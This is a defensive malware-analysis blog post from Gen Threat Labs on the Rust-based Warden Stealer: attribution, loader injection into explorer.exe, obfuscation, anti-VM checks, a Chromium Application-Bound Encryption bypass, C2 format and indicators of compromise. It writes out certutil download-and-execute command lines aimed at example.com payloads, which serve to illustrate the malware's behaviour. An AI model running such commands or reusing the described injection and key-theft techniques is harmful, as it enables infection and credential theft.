Author at Avast Threat Labs

Our team invests countless hours in the exploration, discovery and investigation of emerging trends such as AI and futuristic technology. Stay informed about the evolving landscape of cyberthreats through our diligent efforts and insights.

Threat Researcher at Gen

Threat Research Team Lead

Research

<h2>Key Points</h2>
<ul>
<li>
Gen Threat Labs has been tracking Warden Stealer, an emerging and actively developed malware-as-a-service (MaaS) infostealer written in the Rust programming language that has, within just a few months, already become one of the most prevalent infostealers in our user base.
</li>
<li>
Unlike most of its competitors, Warden Stealer is not sold as a pure stealer but comes with its own loader and a built-in cryptocurrency clipper.
</li>
<li>
Warden Stealer is one of the first infostealers targeting configuration files and local data belonging to AI assistants and agentic coding tools.
</li>
<li>
Its builds are heavily obfuscated, morphed, and regularly updated to evade detection.
</li>
<li>
In this technical blog post, we focus on the attribution of the stealer and provide a technical breakdown of its capabilities, including an analysis of its Application-Bound Encryption (ABE) bypass.
</li>
</ul>
<h2>Introduction &amp; Attribution</h2>
Warden Stealer is a rapidly growing and actively developed infostealer-as-a-service, promoted on underground forums since August 2026. The stealer is written in the Rust programming language and targets Windows systems from Windows 8 through Windows 11 (Figure 1 below also lists Windows 7 as supported, but support for it was dropped as of Warden Stealer version 1.9).
According to its advertisement, Warden Stealer is supposedly capable of stealing data from all Chromium- and Gecko-based browsers, more than 200 cryptocurrency wallet extensions, and over 360 other targets across 13 categories, including messengers, password managers, 2FA tools, and VPN clients, with the ability to further expand its collection scope through custom file and registry grabbing rules. That said, the actual scope of collected data always depends on the configuration of the specific build, which, based on our analysis, can vary significantly from one operator to another.

What is particularly worth highlighting, however, is that Warden Stealer is one of the first infostealers we have observed stealing configuration files and local data belonging to AI assistants and agentic coding tools, such as Claude, Codex, Grok, and Cursor. This reflects an emerging trend we have been observing across the infostealer landscape recently, and one that comes as no surprise, given how much sensitive information these files may hold. Depending on the agent and its configuration, they may contain access and refresh tokens, credentials stored in MCP configurations, prompt histories, conversation databases, and traces of the projects a developer has been working on, giving an attacker both the means to access an account and the context needed to understand what valuable data is behind it.
Interestingly, stealing AI agent data was not among the capabilities originally listed in Warden Stealer’s advertisement, nor was it part of every build’s dynamic configuration, which led us to believe that it was the result of custom collection rules defined by specific operators. This, however, changed with Warden Stealer version 1.9 (announced on September 29, 2026), in which the malware authors officially announced the collection of tokens from AI coding agents (see Figure 2). Either way, whether through custom rules or built-in support, AI agent data is now targeted in a substantial subset of Warden Stealer builds, highlighting the growing trend of such data quickly becoming a target of interest for infostealers.

We have already covered this topic in our previous blog post, <a href="https://www.gendigital.com/blog/insights/research/infostealers-your-ai-agent">Infostealers Have Found a New Target: Your AI Agent</a>. There, however, we referred to Warden Stealer as CallbackBeaver, since at that time we had not yet been able to attribute it to Warden Stealer and had therefore given it our own name.
Attribution is always a tricky task, and this case was no exception, as the stealer does not contain any string artifacts that would directly link it to the Warden Stealer brand. What pointed us in the right direction, however, was our in-depth analysis of the stealer, which we cross-referenced with the technical details of the malware shared on underground forums by the authors themselves, as well as with information from a recent <a href="https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-warden-a978d5ae1147">interview with Warden Stealer’s authors</a> conducted by <a href="https://x.com/g0njxa">g0njxa</a>. Putting all of the pieces together, we were ultimately able to conclude that CallbackBeaver is, in fact, Warden Stealer. To give readers a better idea of what our attribution is based on, we outline the key pieces of evidence below.
First, the stealer is written in Rust, which is rather unusual, as only a handful of infostealers opt for this programming language. This is consistent with the interview, in which the malware authors attribute the choice of Rust to their prior experience with it, as well as to the “very good opportunities for code morphing” it provides. Morphing, in turn, is exactly where, we have to admit, Warden Stealer undoubtedly stands out from what is usual in the MaaS ecosystem. Unsurprisingly, it is also one of the main selling points the authors build their marketing around, advertising Warden Stealer as the “only true morpher on the market (not just an obfuscator), built upon AST code parsing and LLVM IR passes.”
Based on our analysis, the individual builds are indeed heavily obfuscated and morphed. Combined with the fact that Rust binaries are notoriously hard to reverse engineer, this makes Warden Stealer genuinely tricky to detect statically, but of course not impossible, as Warden authors kindly started to note in their underground forum posts (see Figures 3 and 4).

Second, the malware authors state in the interview that development of the stealer began in early 2026 and that the project was made available to the public on July 21, 2026. This aligns well with our own observations, as we have been tracking the first builds (for example, <a href="https://www.virustotal.com/gui/file/241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437">241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437</a>) since the beginning of May 2026, with a significant increase in prevalence starting in early August 2026. Although the authors may not necessarily be telling the truth, the timeline once again fits their claims.
Closely related to the timeline is the spread of the stealer itself, as Warden Stealer has, in a matter of months, already become one of the most prevalent infostealers in our user base, which, again, is consistent with the authors’ claim that about 110 customers are currently actively using it.
Besides its stealing capabilities, Warden Stealer comes with its own loader and a built-in cryptocurrency clipper, which is not that common for MaaS infostealers and might be one of the key factors behind its rapid growth in popularity. Therefore, the very fact that the samples we analyzed were generally distributed via the stealer’s own dedicated loader and came with built-in clipper functionality was another strong indicator.
As for the clipper functionality, Warden Stealer originally supported six cryptocurrency networks (see Figure 5), namely BTC (Bitcoin), ETH (Ethereum), TRX (TRON), XMR (Monero), SOL (Solana), and TON (The Open Network), which exactly matches (notably, even in the same order) the dynamic configuration we extracted from an older Warden Stealer build (see Figure 6). Starting with version 1.7, the malware authors extended the clipper to support four more networks: LTC (Litecoin), XRP (XRP Ledger), ADA (Cardano), and BCH (Bitcoin Cash). We observed this change almost immediately in the dynamic configurations of newer builds as well, which now contain exactly these four networks appended right after the original six (see Figure 7), making the clipper yet another strong indicator supporting our attribution.

While there are several other attribution factors, mainly related to the capabilities claimed by the authors and what the stealer actually does, as well as to the obfuscation techniques it employs, we will not cover them in detail, as we believe the evidence outlined above already speaks for itself.
Warden Stealer is offered through a tiered subscription model, with the individual plans differing primarily in operational limits, such as the number of builds and C2 domains. Initially, the malware authors offered the Test plan for $90 per week, and the Personal and Premium plans for $349 and $499 per month, respectively. With version 1.9, however, they raised their prices considerably: the Test plan now costs $149 for three days, while the Personal plan has risen to $450 and the Premium plan to $800 per month. At the same time, they introduced a new Enterprise plan, priced at $1,500 per month.
Finally, given that Warden Stealer deliberately avoids systems located in CIS and Baltic countries and is advertised in Russian, it is reasonable to assume that its developers likely operate within Russian-speaking cybercriminal communities. However, this does not necessarily indicate their precise origin.

<h2>Landscape</h2>
Despite having been on the market for only a short period of time, Warden Stealer has already positioned itself as a major player in the infostealer landscape and is currently one of the most prevalent infostealers in our user base (together with <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a>, <a href="https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns">Amatera</a>, and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>).
Regarding its distribution, since Warden Stealer is sold as MaaS, the infection vectors ultimately depend on the individual operators. As a result, we are seeing it delivered through all the standard infection vectors, including, among others, supposedly cracked software, game cheats, malvertising, and ClickFix campaigns.
Given its active development, the built-in loader and clipper, the authors’ ongoing efforts to modify their builds to evade detection, and their use of AI (as they claimed in the interview), we expect Warden Stealer to remain a key player in the infostealer market for the foreseeable future.
<h2>Technical Analysis</h2>
In this section, we focus on selected technical aspects of Warden Stealer. Note that this is only a selected subset of its functionality rather than an exhaustive overview.
<h3>Warden Loader</h3>
When it comes to the Malware-as-a-Service (MaaS) infostealer ecosystem, the operational boundaries are usually strictly drawn: the malware authors develop the core payload (the stealer), while operators are left to handle the rest of the infection chain, including defense-evasion layers (crypters and/or loaders) and payload delivery. Against this conventional backdrop, Warden Stealer stands out as a notable exception, as it comes with its own dedicated loader, which takes some of the burden off operators and may thus partly account for the stealer’s rapid rise in popularity.
Judging from our code analysis, we assess with high confidence that the loader is not a third-party add-on but a component developed and maintained in-house by the Warden Stealer authors themselves. We base this assessment on the fact that the loader shares the same obfuscation scheme and a non-trivial number of other similarities with the stealer (some of which we highlight throughout the rest of this blog post), firmly linking both components to the same malware authors. That said, the loader layer is not strictly required, as the stealer can also be shipped as a standalone binary. Still, we predominantly observe Warden Stealer being distributed inside this loader.
Functionally, the loader is rather straightforward, operating with one clear goal – to reconstruct the stealer payload in memory and execute it. Overall, Warden Stealer can be deployed in one of three available execution modes:
<ul>
<li>
Injection mode: the loader is shipped as an EXE that reconstructs the stealer payload (DLL) and injects it into an already-running, legitimate-looking process. This is the most common mode and likely the default configuration.
</li>
<li>
Sideload mode: the loader is shipped as a DLL alongside a legitimately signed EXE that sideloads it. Once sideloaded, the loader reconstructs the stealer payload (DLL) and executes it in memory within the host process.
</li>
<li>
Standalone mode: the stealer is shipped without the loader layer altogether, as a standalone EXE.
</li>
</ul>
Since the vast majority of samples we observe in the wild use the injection mode, we focus solely on this specific mode going forward.
The stealer payload is embedded in the loader’s <code>.rdata</code> section and encoded using a custom Base64-like alphabet unique to each build. Interestingly, these alphabets differ across builds not only in character order but also in the character set itself (i.e., they are not mere permutations of a single character set). Nevertheless, each alphabet consists solely of printable ASCII characters and is shared by the loader and the stealer build it carries, both of which use it to decode their obfuscated blobs, including obfuscated strings.
Examples of Base64-like alphabets observed across different Warden Stealer builds:
<ul>
<li>
<code>&lt;y.#'0_Oe;5~q4I[a9Tf3:8pvR{F$ZQg)!(-XtCYznuPU?Jiw&amp;BK@6}*|1D,2&gt;7A</code>
</li>
<li>
<code>WJOTHk*aGS.#bdwLArzDM69yUR(NXZj&lt;8?n{F!'e$C3~,|1B;)c04p]xQs_:o%&amp;q</code>
</li>
<li>
<code>Da7L(&gt;CZ4tB2bkT|u}%jRl5O^n]cIvoM-q;W)w&lt;.&amp;rdVP*gHzp_@Nh$1eYU'[~GK</code>
</li>
</ul>

The deobfuscation process itself consists of two steps. Each encoded blob, whether an obfuscated string or the stealer payload, is first decoded using the custom Base64-like scheme. The loader maps each character to its index in the 64-character alphabet, subtracts a blob-specific shift modulo 64, and combines the resulting 6-bit values into bytes as in ordinary Base64. The decoded stream is then decompressed using a custom LZSS-style format.
Regarding the payload reconstruction, the loader processes three separately decoded blobs: the main blob containing the PE section data, an auxiliary blob providing the PE header template, and a bootstrap stub template. The first two blobs are combined to reconstruct the stealer’s PE image in memory, while the bootstrap stub template is filled with runtime values and appended after the rebuilt image and a runtime-built context block.
Next, the loader selects the target process for injection. The latest builds do so by locating the <code>Shell_TrayWnd</code> window (the Windows taskbar) using <code>FindWindowA</code> and retrieving the PID of its owning process via <code>GetWindowThreadProcessId</code>. In a standard Windows session, this window typically belongs to <code>explorer.exe</code>, although the loader does not verify the process name. Older builds also targeted other processes, such as <code>msiexec.exe</code> or <code>dllhost.exe</code>.
After obtaining a handle to the target process, the loader allocates executable memory within it using <code>VirtualAllocEx</code> with the <code>PAGE_EXECUTE_READWRITE</code> protection flag. Once the remote base address is known, it applies the necessary relocations and injects the reconstructed image, context block, and bootstrap stub into the allocated region as a single contiguous buffer via <code>WriteProcessMemory</code>. Subsequently, the loader invokes <code>CreateRemoteThread</code> to start execution at the appended bootstrap stub.
Since the payload is manually mapped, the standard Windows loader does not register it as a loaded module. To fill this gap, the bootstrap stub first retrieves the PEB via <code>RtlGetCurrentPeb</code> and links two <code>LIST_ENTRY</code> nodes from the context block into <code>PEB-&gt;Ldr-&gt;InLoadOrderModuleList</code> and <code>PEB-&gt;Ldr-&gt;InMemoryOrderModuleList</code>, making the payload visible to code that enumerates these lists. Finally, the bootstrap stub invokes non-null function pointers from a fixed range in the payload image, including its TLS callbacks, and transfers control to the payload by calling its PE entry point.

It is also worth noting that the Warden Stealer loader binaries are often deliberately inflated with a massive PE overlay, a design choice intended to bypass detection (also employed, for example, by <a href="https://www.gendigital.com/blog/insights/research/goflateloader-delivers-multiple-infostealers">GoFlateLoader</a>), as excessively large executables may pose challenges for some AV and EDR solutions, which, primarily due to performance and resource constraints, often enforce practical file-size limits for deep scanning and/or emulation.
The same logic extends to automated analysis pipelines, where bloated files frequently cause timeouts during heuristic analysis and may even prevent the sample from being uploaded to cloud-based sandboxes or threat intelligence platforms, which enforce their own strict upload limits to manage bandwidth and storage costs.
<h3>Obfuscation</h3>
When it comes to static analysis, Warden Stealer builds are protected with several layers of obfuscation. However, since the obfuscation is subject to frequent changes, both to evade detection and to break automated analysis tooling, we do not aim to provide an exhaustive technical breakdown, but rather to give readers a general overview of the techniques used. Note that all techniques covered below apply to both the loader and the stealer.
First, as already mentioned in the loader section, Warden Stealer obfuscates its strings using a custom LZSS-style compression combined with a build-specific Base64-like alphabet and a string-specific shift parameter, with each string being decoded lazily upon its first use and then cached for any subsequent references.
Second, Windows API functions are resolved dynamically by name (using a combination of <code>LoadLibraryA</code> and <code>GetProcAddress</code>) and cached after the first lookup, with both the module and function names stored as obfuscated strings and decoded on demand.

Warden Stealer also employs indirect control flow obfuscation, replacing direct jumps and calls with indirect ones, whose target addresses are computed only at runtime and passed via a register. Notably, the extent to which this obfuscation is applied has decreased considerably over time. While older builds obfuscated most of their jumps and calls, with even individual basic blocks chained together through indirect jumps (see Figure 13), the newest builds leave only a few of them obfuscated. Readers interested in how to remove this type of obfuscation can refer to our <a href="https://www.gendigital.com/blog/insights/research/defeating-aurastealer-obfuscation">previous blog post</a>, where we covered it in greater detail.

Earlier versions of Warden Stealer additionally leveraged TLS callbacks (which, incidentally, is also where the name CallbackBeaver we originally gave to Warden Stealer comes from) to populate thread-local storage and global variables with constants. These constants were later used in obfuscated computations to recover data offsets and string decoding parameters, as well as in the conditions used to select indirect jump targets.

Finally, Warden Stealer also makes use of constant masking, decoy strings, mixed Boolean-arithmetic (MBA) expressions, opaque-predicate-style guards leading to bogus code branches, and junk computations whose results are simply discarded, all of which further bloat the decompiled code and make its analysis more time-consuming.

<h3>Anti-VM Checks</h3>
To determine whether it is running in a virtualized environment, Warden Stealer performs multiple anti-VM checks.
First, it retrieves the raw SMBIOS firmware table using <code>GetSystemFirmwareTable</code> and walks through its records, looking for at least one record of type 7 (<code>Cache Information</code>). If the table is retrieved successfully but contains no such record, the environment is considered virtualized.

Second, the stealer uses the <code>cpuid</code> instruction to obtain the physical CPU vendor ID (leaf 0) and the hypervisor vendor ID (leaf <code>0x40000000</code>). If the hypervisor additionally reports support for leaves beyond <code>0x400000FF</code>, a secondary hypervisor vendor ID is retrieved from leaf <code>0x40000100</code> as well. The physical CPU vendor ID, the hypervisor vendor ID (if nonzero), and the secondary hypervisor vendor ID (if available) are then all compared against a blacklist of 27 exact 12-byte signatures, covering a broad range of hypervisors and emulators, including VMware, VirtualBox, KVM, Xen, or QEMU running in TCG mode. If no exact match is found, the IDs are further searched for four shorter markers (<code>KVM</code>, <code>PpyH</code>, <code>Apple VZ</code>, and <code>QXNQSBMV</code>).

Third, Warden Stealer enumerates the entries under the following Uninstall registry paths:
<ul>
<li>
<code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKCU\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
</ul>
It then filters out entries marked as system components (with the <code>SystemComponent</code> <code>REG_DWORD</code> set to <code>1</code>) and entries whose <code>UninstallString</code> value cannot be retrieved. For the remaining ones, it collects the <code>DisplayName</code> values and checks whether any of these begins with the prefix <code>Virtio</code>, which may indicate VirtIO-related software, commonly associated with KVM/QEMU virtual machines.
Finally, the stealer enumerates display devices using <code>EnumDisplayDevicesW</code> and checks whether any of the adapter descriptions contains one of the substrings <code>Virtio</code>, <code>Standard VGA</code>, or <code>Basic Display</code>, which typically correspond to the generic display adapters used in virtual machines without dedicated graphics drivers.
If the environment is considered virtualized, Warden Stealer displays a message box titled <code>DEBUG</code> with the Russian message: <code>Моня, и шо разве мы виноваты, что вокруг Одессы Украину построили?!</code> (roughly translating to “Monya, is it really our fault that they built Ukraine around Odessa?!”) and aborts the reporting worker before it proceeds with its subsequent data collection and reporting.

<h3>Application-Bound Encryption Bypass</h3>
A key part of Warden Stealer’s functionality is the theft of sensitive browser data, such as cookies and passwords, from Chromium-based browsers. Nowadays, however, such data is protected by <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">Application-Bound Encryption (ABE)</a>. To bypass ABE, the stealer employs an approach that we have not previously observed in this exact form but that closely resembles a combination of the bypasses used by the latest versions of Vidar and Remus. Nevertheless, its implementation differs in several aspects, suggesting independent development rather than a direct copy.
Since we have already covered the bypasses of <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a> and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>, as well as <a href="https://www.gendigital.com/blog/insights/research/voidstealer-abe-bypass">the inner workings of ABE</a>, in our earlier posts, we do not revisit them here and instead outline the main ideas behind Warden Stealer’s own implementation. For readers interested in the broader background, we encourage checking those earlier posts.
From a high-level perspective, Warden Stealer’s approach to bypassing ABE boils down to three steps:
<ul>
<li>
Locate a candidate <code>v20_master_key</code> in its encrypted form within the browser’s memory
</li>
<li>
Execute injected shellcode inside the browser process to decrypt the key
</li>
<li>
Read the decrypted key back
</li>
</ul>
Before any decryption can take place, however, Warden Stealer first needs to locate the <code>v20_master_key</code> in its encrypted form. Here, its approach closely resembles that of Vidar, as it also scans the browser’s memory for a layout consistent with entries in Chromium’s <code>os_crypt_async::Encryptor::KeyRing</code>, a map that holds the keys used by the <code>Encryptor</code> class, including the encrypted <code>v20_master_key</code>. That said, its scanning pattern is considerably simpler. Whereas Vidar matches a 32-byte signature that also covers fixed values of specific fields within a <code>KeyRing</code> entry, Warden Stealer searches the browser’s memory solely for the four-byte sequence <code>v20\x00</code> – the null-terminated <code>v20</code> tag under which the <code>v20_master_key</code> is stored in the <code>KeyRing</code> map.
Naturally, such a short pattern yields more candidates, so Warden Stealer narrows them down by checking whether the values at specific offsets from each match are consistent with the expected layout of a <code>KeyRing</code> entry. Now, this part is admittedly a bit tricky, as it relies on several assumptions we made about the internal memory layout, as well as on implementation-specific representations of various C++ standard library types (<code>std::map</code>, <code>std::string</code>, <code>std::vector</code>, and <code>std::optional</code>). Therefore, please treat the following interpretation as a high-confidence assessment rather than a certainty. That said, judging from our analysis, we strongly believe that these checks follow from the memory layout of a <code>KeyRing</code> entry.
Chromium <a href="https://github.com/chromium/chromium/blob/2e22ca200ff2c2c2606e345b0ec880339b6bfa73/components/os_crypt/async/common/encryptor.h#L121">defines</a> <code>KeyRing</code> as <code>std::map&lt;/*tag=*/std::string, std::optional&lt;Key&gt;&gt;</code>, so each of its entries is a <code>std::pair&lt;const std::string, std::optional&lt;Key&gt;&gt;</code> stored in a node of the red-black tree that implements the map. Within this pair, the <code>std::string</code> tag is followed by the <code>std::optional&lt;Key&gt;</code> value, whose <code>Key</code> object holds the encrypted <code>v20_master_key</code> in its <code>key_</code> member variable (a <code>std::vector&lt;uint8_t&gt;</code>).
Specifically, Warden Stealer inspects three consecutive <code>qwords</code> at offsets <code>+32</code>, <code>+40</code>, and <code>+48</code> from each <code>v20\x00</code> match, which, under libc++’s default pointer-based representation of <code>std::vector</code>, should correspond to the <code>begin</code>, <code>end</code>, and <code>capacity_end</code> pointers of the <code>key_</code> vector, as illustrated in Figure 21 (and previously dissected in greater detail in <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">our analysis of Vidar’s ABE bypass</a>). This leads us to conclude that the stealer leverages the <code>key_</code> vector as a verification mechanism: only if the data at these offsets plausibly resembles a <code>std::vector</code> structure does the stealer treat the match as a candidate <code>KeyRing</code> node. In practice, the verification is rather heuristic and boils down to the following sanity checks of the three pointers:
<ul>
<li>
The <code>begin</code> pointer must be 8-byte aligned and lie within the user-mode address range (<code>0x10000–0x7FFFFFFFFFFF</code>)
</li>
<li>
The <code>end</code> pointer must equal <code>begin + 32</code>, indicating a 32-byte buffer (i.e., the size of the <code>v20_master_key</code>)
</li>
<li>
The <code>capacity-end</code> pointer must also be 8-byte aligned, lie within the user-mode address range, and fall between <code>end</code> and <code>begin + 64</code>, limiting the vector’s capacity to between 32 and 64 bytes
</li>
</ul>

However, libc++ also supports an <a href="https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx/+/97b436da4c33663581d394f4ee0a5977fc38c2f4/include/__vector/layout.h#82">alternative size-based layout</a> of <code>std::vector</code>, in which the <code>begin</code> pointer is followed by integer <code>size</code> and <code>capacity</code> fields instead of two additional pointers. Notably, Warden Stealer’s filtering logic appears to account for this variant as well: if the <code>begin</code> pointer passes the alignment check but the second <code>qword</code> does not equal <code>begin + 32</code>, the stealer falls back to checking whether the <code>qword</code> itself equals <code>32</code>. It then requires the third <code>qword</code> to have no bits set other than <code>0x20</code>, effectively accepting only <code>0</code> or <code>32</code>. A <code>begin</code> pointer followed by two values of <code>32</code> thus describes the same <code>key_</code> vector (a 32-byte buffer with a capacity of 32 bytes) but in its size-based representation. The complete filtering logic is shown in Figure 23.

The collected candidates (the <code>begin</code> pointers of the identified <code>key_</code> vectors, each presumably pointing to an encrypted <code>v20_master_key</code>) are then sorted, deduplicated, and tested one by one. For each candidate, Warden Stealer reads the 32 bytes it points to and stages them in the target browser process alongside a short shellcode stub. To run the stub, it hijacks one of the browser’s existing threads by suspending it, saving its original context, and redirecting its instruction pointer to the shellcode. Once resumed, the shellcode stub invokes <code>CryptUnprotectMemory</code> on the staged buffer with the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag (similar to Remus, which likewise injects a small shellcode into the browser to perform exactly this call). Because the decryption happens in place, Warden Stealer simply polls the buffer and compares it against the original encrypted bytes. If the contents differ, it treats the result as a recovered <code>v20_master_key</code>.

<h3>C2 Communication</h3>
Each Warden Stealer build comes with its own hardcoded set of C2 domains embedded directly in the binary. An individual build typically contains between one to five domains, with any additional ones serving as fallback endpoints in case a server becomes unavailable.
These domains are protected by a dedicated obfuscation scheme, separate from the general-purpose string decoder, with each entry stored as a one-byte XOR key, a pointer to the encoded domain, and the encoded domain’s byte length. Notably, these three fields can appear in any order, likely as a result of the malware’s morphing.

The actual communication with the C2 server is handled over HTTPS and relies on a custom binary format. Before being sent, each record is serialized, XOR-obfuscated with a build-specific byte, and prefixed with a frame tag. The resulting frame is then compressed using LZNT1 and wrapped with a header containing its uncompressed length, a 16-byte build marker, and optional metadata.

Using this format, Warden Stealer first sends a registration request carrying a fingerprint of the infected system that includes the machine’s hardware identifier, CPU and memory details, OS version, display configuration, username, locales, and installed software. In response, the server returns the stealer’s dynamic configuration, which is XOR-obfuscated with the same build-specific byte as the outgoing records but, unlike them, is not LZNT1-compressed. If the exchange fails or the response contains no valid configuration, Warden Stealer falls back to the next C2 domain in the list. Once a valid configuration is obtained, Warden Stealer collects data according to the configured feature flags and collection rules and uploads the stolen data to the C2 server in batches.
An example of Warden Stealer’s dynamic configuration is available on our <a href="https://github.com/gendigitalinc/ioc/blob/master/WardenStealer/extras/warden_stealer_configuration.bin">GitHub</a>.
<h3>Execution of Additional Payloads</h3>
In addition to its stealing capabilities, Warden Stealer can download and execute additional payloads from URLs supplied in its dynamic configuration. For each URL, it constructs a destination path under <code>%TEMP%</code> and downloads the file there using the <code>certutil.exe -urlcache -split -f "&lt;URL&gt;" "&lt;destination&gt;"</code> command. The destination filename is derived from the <code>GetTickCount</code> value, formatted as eight zero-padded lowercase hexadecimal digits, followed directly by the URL’s zero-based position in the configuration list. The extension is selected by checking the URL text preceding any query string or fragment for <code>.msi</code>, <code>.bat</code>, or <code>.cmd</code>, with <code>.exe</code> used otherwise. Based on the selected extension, the payload is launched in one of the following ways:
<ul>
<li>
MSI: <code>msiexec.exe /i "&lt;destination&gt;" /qn /norestart</code>
</li>
<li>
BAT/CMD: <code>cmd.exe /c "&lt;destination&gt;"</code>
</li>
<li>
EXE (default): the downloaded file is executed directly
</li>
</ul>
To carry out both the download and the execution steps, Warden Stealer leverages the <code>Shell.Application</code> COM object (rather than calling <code>CreateProcess</code> directly). Through its <code>IShellDispatch2</code> interface, it invokes the <a href="https://learn.microsoft.com/en-us/windows/win32/shell/ishelldispatch2-shellexecute">ShellExecute</a> method to launch <code>cmd.exe</code> with a hidden window (<code>SW_HIDE</code>). The arguments passed to <code>cmd.exe</code> combine the <code>certutil</code> download command with the appropriate payload invocation, chained with <code>&amp;&amp;</code>, so the payload is launched only if the download succeeds (or more precisely, if <code>certutil</code> returns a successful exit code).
The following examples illustrate the resulting command lines, assuming <code>%TEMP%</code> is <code>C:\Users\user\AppData\Local\Temp</code>, <code>GetTickCount</code> returns <code>0x1337</code> for each item, and the URLs appear in the configuration in MSI, BAT, and EXE order:
<ul>
<li>
MSI: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.msi" "C:\Users\user\AppData\Local\Temp\000013370.msi" &amp;&amp; msiexec.exe /i "C:\Users\user\AppData\Local\Temp\000013370.msi" /qn /norestart</code>
</li>
<li>
BAT: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.bat" "C:\Users\user\AppData\Local\Temp\000013371.bat" &amp;&amp; cmd.exe /c "C:\Users\user\AppData\Local\Temp\000013371.bat"</code>
</li>
<li>
EXE: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.exe" "C:\Users\user\AppData\Local\Temp\000013372.exe" &amp;&amp; "C:\Users\user\AppData\Local\Temp\000013372.exe"</code>
</li>
</ul>
<h2>Summary</h2>
Warden Stealer has rapidly emerged as one of the most prevalent infostealers we protect our users from, ranking on par with Amatera, Remus and Vidar. Written in Rust, it combines broad data-stealing capabilities with a dedicated custom loader and a built-in cryptocurrency clipper. It is actively developed and has been promoted on underground forums since August 2026, although we have been tracking its first builds since early May 2026.
In this blog post, we showed how our investigation linked the malware we previously tracked as CallbackBeaver to Warden Stealer. This attribution draws on similarities between the analyzed samples and the authors’ public statements in underground forum posts and an interview, including details about the development timeline and loader and clipper capabilities.
We also described a variety of the stealer’s obfuscation techniques and anti-VM checks, as well as its approach to bypassing Application-Bound Encryption to steal sensitive information from Chromium-based browsers. Notably, Warden Stealer is one of the first stealers actively targeting locally installed AI agents to exfiltrate access and refresh tokens, prompt histories, credentials stored in MCP configurations, and other sensitive developer-related information, highlighting the shift we have recently observed in the infostealer landscape.
<h2>Indicators of Compromise (IoCs)</h2>
A complete, much more extensive, IoC list is available on our <a href="https://github.com/gendigitalinc/ioc/tree/master/WardenStealer">GitHub</a>.
<h3>Warden Loader SHA-256 (Non-exhaustive)</h3>
006510ce1da2b7410376f0788c19e55616eb4bcc30072d25b7d0871dc32aa11c
0d727a4ef1178e767afdd0080ba1ebda0f24ac52b639f0501021affd8f88d26a
63959ef6309cd01b5d3c7262a3a41394dca2db2dc74bd030a517b7e23a2c3fef
77c8266935bc040c992ab70abd402bd203b9c12e7548c80b84fd21308c250f0e
77cc246272f2af21b64bbc6c6173d57affee97eb0ccf747d89492d06d4c52865
abcc49cd8a9b08a18ad9e516ec13350e01a05f04f1c5e025080e1c0e3b4bec36
b855f6883391e25f1a91692bef76771065b4b0436a014de5b25aa9d0de6238e4
dd1c3b2bfe32b41902ffe875e568f52f44f0900209b9cb447c9ae4444a5dce4e
ea9debbe4b3d11bf6c986af63a94e13ceb2a1cbc167a642697fcabc9e8a50439
ff85bb43e546fac541443006878828c47958c1d55dfa32c529651bfcc12832f1
<h3>Warden Stealer SHA-256 (Non-exhaustive)</h3>
04beeb716a79661ea770138558dbdebccb493bf6b4b1ec37f19b9c028dea98d5
159b472e0e0bdc05933da64032761cbd042b6cc5dc4e1cd11d5ef7af5180b972
3d0794fca8ae2ca80eee463b11557d696c48c8ddf17f5e2917cc33fbf0596842
51bc797e783b6a765e174736ff12a711a243099f4e19739388e5bce1548a448d
5b6ec081f385d91273a79c6645cd0f932539dc267863e5d243657a8ccb5ca351
6e47d6da0e2ab2226ee033e75c7b9b41e4e908d6f71b47d0ce7477a492fb418e
a396ccfb5547f04cef4be18ed076bb2c62c571268306d201b6177188f05723f1
cc1f2ae885d317e6c520ea6d219370630c1c7a8fe600b89d0d78fdee28174ff4
e62b24142e7244573cf37cef55b175fbba6a43ac4592d30f8b061dda8866c9b3
fea9538084b70e9681fd8104b9319792c4d8c2701ae145ec31dc26e7526f2ae0

